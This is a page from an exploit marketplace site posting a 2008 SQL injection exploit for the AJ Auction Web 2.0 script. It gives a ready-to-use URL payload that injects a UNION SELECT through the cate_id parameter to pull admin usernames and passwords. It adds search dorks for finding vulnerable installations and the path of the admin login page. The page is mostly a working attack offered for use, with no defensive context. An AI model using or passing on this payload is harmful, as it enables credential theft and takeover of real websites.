[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

AJ Auction Web 2.0 (cate_id) SQL Injection Vulnerability

Author
Hussin X
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3228
Category
web applications
Date add
18-06-2008
Platform
unsorted
========================================================
AJ Auction Web 2.0 (cate_id) SQL Injection Vulnerability
========================================================



#########################################################
#
#     Auction Web 2.0  SQL Injection Vulnerability
#========================================================
#    Author: Hussin X                                   =
#=========================================================
#    HomE script : http://www.ajauctionpro.com/ajhome.php
#     
#    Demo : http://www.ajauctionpro.com/auction_web2.0/   
#    
#          DorK :  Powered By AJ Auction Web
#          DorK :  Powered By Auction Web
#     
##########################################################

Exploit:   

http://localhost.com/[PaTs]/category.php?cate_id=-1+union+select+1,concat(user_name,0x3a,password),3,4+from+admin--


Admin login

admin/index.php

################################################################################
#####################################( Greetz )#################################
#                                                                              #
#           tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUA              #       
#                mos_chori / Rafi / FAHD / Iraq Hackers /                      #       
#                                                                              #
#################################(and All IRAQIs)###############################
################################################################################



#  0day.today [2024-12-27]  #